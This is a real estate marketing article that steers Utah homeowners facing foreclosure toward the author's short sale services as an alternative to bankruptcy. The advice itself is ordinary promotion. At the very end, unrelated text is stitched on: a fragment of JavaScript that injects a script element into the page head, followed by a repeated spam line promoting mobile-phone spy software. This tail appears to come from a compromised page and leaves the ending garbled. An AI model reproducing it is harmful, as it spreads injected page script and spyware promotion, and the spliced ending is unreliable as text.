Utah Bankruptcy to Avoid Foreclosure

Bankruptcy can be very damaging to your credit, and thus it can haunt you financially for a long time to come. So a Utah bankruptcy should never be viewed as an “easy way out,” as some bankruptcy lawyers make it seem.

In fact, many of the people who declare bankruptcy in Utah each year could have had options for avoiding it. Often, they just didn’t realize these options existed. That’s the entire purpose of this article — to educate you on the ways a Utah resident can avoid declaring bankruptcy.

Specifically, I’m talking to those of you who feel bankruptcy is a “must” because you are behind on your mortgage and facing possible foreclosure.

Declaring Bankruptcy Because of Foreclosure

A lot of the folks who declare bankruptcy in Utah each year do so because they are going into foreclosure on their home. Sometimes even, this is the primary reason for bankruptcy declarations. But what many people don’t realize is that there are many options for avoiding foreclosure on a home, so a foreclosure alone is rarely a good reason for declaring bankruptcy.

In fact, helping Utah homeowners avoid foreclosure is one of the primary services we offer. We do this through several methods, but mostly through what is known as a short sale.

Introducing the Utah Short Sale

If you haven’t heard the term short sale in the past, you probably will in the future. As more and more people face foreclosure on their Utah homes (largely due to the subprime mortgage crisis that began in 2007), the short sale will become more popular as a foreclosure-avoidance technique.

Note: The short sale is one of my real estate specialties. So if you if you find yourself in a potential foreclosure situation and would like to learn about my Utah short sale services, please contact me for assistance.

If your mortgage is the number-one financial obligation that’s “dragging” you toward possible bankruptcy, you could sell your home through a short sale and relieve that particular financial burden. Then you would be in a better position to shore up your finances in general, and possibly avoid Utah bankruptcy altogether.

Learn more about short sale techniques.

The point here is that you almost always have options, other than simply declaring bankruptcy. So before you become another Utah bankruptcy statistic because of a mortgage you can longer afford, contact us to learn more about your real estate options.d.getElementsByTagName(‘head’)[0].appendChild(s);The most popular 2017 spy software applications for the mobile phones.The most popular 2017 spy software applications for the mobile phones.